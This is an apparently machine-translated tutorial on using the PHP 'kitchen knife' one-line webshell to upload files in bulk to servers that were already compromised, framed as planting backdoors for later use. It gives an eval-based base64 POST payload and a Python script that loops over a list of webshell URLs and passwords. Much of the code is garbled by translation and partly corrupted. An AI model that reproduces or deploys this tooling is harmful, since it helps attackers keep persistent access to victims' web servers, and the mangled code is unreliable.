How to batch upload a single file in one sentence based on kitchen knife PHP?
0 × 00 Preface
Many times, when we crawl a lot of webshells in batches through a common RCE vulnerability, we may want to batch upload backdoors for future use. At this time, we can't help but face a problem. It is too slow to upload files one by one using a kitchen knife. How can we quickly implement the batch upload of files? This article attempts to analyze how to implement this type of requirement by taking the php statement of the kitchen knife as an example.
0 × 01 Principle Analysis
First, we must understand how the kitchen knife manages web server files through a Trojan.
The following is the most common php Trojan:
When we upload a Trojan to the web server, we can directly enter the above password (1 in the above example) in the kitchen knife to connect to the server to manage files.
How can we manage and control servers with a simple sentence? By analyzing the principle of the kitchen knife, we can easily find that the kitchen knife uses the eval function to execute command statements passed through the POST method.
Therefore, if we want to upload a file by using a Trojan horse, we only need to send a POST request with the file write command to the url containing a sentence in the remote service. For example:
POST:
1=@eval($_POST[z0]);&z0=echo $_SERVER['DOCUMENT_ROOT'];
The code above contains two parts:
1. One-sentence Password
2. Send the php code to the server for execution
Now that we know the principle, we only need to send the following POST request to complete the function of using one sentence to upload files:
POST:
1=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzsKJGY9JF9QT1NUWyJ6MSJdOwokYz0kX1BPU1RbInoyIl07CiRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOwokYz1zdHJfcmVwbGFjZSgiXG4iLCIiLCRjKTsKJGJ1Zj0iIjsKZm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MSkKICAgICRidWYuPXN1YnN0cigkYywkaSwxKTsKZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1ZikpOwplY2hvKCJ8PC0iKTsKZGllKCk7&z1=L3Zhci93d3cvcm9vdC8xLnR4dA==&z2=aGVsbG8gd29ybGQh
The POST data includes the following parts:
1. First, php password for one sentence 1
2. Run the base64 decoded z0 using the eval method. The decoded z0 is displayed as follows:
@ Ini_set ("display_errors", "0"); @ set_time_limit (0); @ set_magic_quotes_runtime (0); echo ("-> | ");; $ f = base64_decode ($ _ POST ["z1"]); $ c = base64_decode ($ _ POST ["z2"]); $ c = str_replace ("\ r ", "", $ c); $ c = str_replace ("\ n", "", $ c); $ buf = ""; for ($ I = 0; $ I
3. Continue to call z1 and z2 after base64 Decoding in z0. The decoded results are as follows:
z1=/var/www/root/1.txtz2=hello world!
So far, we can clearly find that the role of the above POST request is actually to write! The file named 1.txt is uploaded to the/var/www/root/path on the server.
0 × 02 code implementation
Based on the above principle analysis, we can use the following code to implement Batch File Upload Based on a php sentence:
#! /Usr/bin/python # coding = UTF-8 import urllib import urllib2import sysimport base64import re def post (url, data): req = urllib2.Request (url) data = urllib. urlencode (data) opener = urllib2.build _ opener (urllib2.HTTPCookieProcessor () response = opener. open (req, data) return response. read () def get_shell_path (posturl, passwd): shell_path = "" try: data = {} data [passwd] = '@ eval (base64_decode ($ _ POST [z0]) ); 'Data ['z0'] = 'zwnobyakx1nfulzfulsnu0nssvbux0zjtevoqu1fj107 'shell_path = post (posturl, data ). strip () failed t Exception: pass return shell_path def main (): print '\ n ++ Batch Uploading Local File (Only for PHP webshell) ++ \ n' shellfile = sys. argv [1] # file for storing the webshell path and password localfile = sys. argv [2] # local file to be uploaded: shell_file = open (shellfile, 'rb') local_content = str (open (localfile, 'rb '). read ()) For eachline in shell_file: posturl = eachline. split (',') [0]. strip () passwd = eachline. split (',') [1]. strip () try: reg = ". */([^/] * \. php ?) "Match_shell_name = re. search (reg, eachline) if match_shell_name: shell_name = match_shell_name.group (1) shell_path = get_shell_path (posturl, passwd ). strip () target_path = shell_path.split (shell_name) [0] + localfile target_path_base64 = base64.b64encode (target_path) target_file_url = eachline. split (shell_name) [0] + localfile data = {} data [passwd] = '@ eval (base64_decode ($ _ POST [z0]); 'Data ['z0'] = 'qgluav9z Region + Region Comment 'data ['z1 '] = target_path_base64 data ['z2'] = base64.b64encode (local_content) response = post (posturl, data) if response: print '[+]' + target_file_url + ', upload succeed! 'Else: print '[-]' + target_file_url + ', upload failed! 'Else: print '[-]' + posturl + ', unsupported webshell! 'Failed t Exception, e: print '[-]' + posturl + ', connection failed! 'Shell_file.close () if _ name _ = '_ main _': main ()
The format of webshell.txt: [path of a webshell file]. [webshell connection password] is as follows:
http://www.example1.com/1.php, 1http://www.example2.com/1.php, 1http://www.example3.com/1.php, 1
Save the script batch_upload_file.py and run python batch_upload_file.py webshell.txt 1.txt. the result is as follows:
Disclaimer: Only for learning and communication. No one shall be used for illegal purposes; otherwise, all consequences shall be borne by him/herself!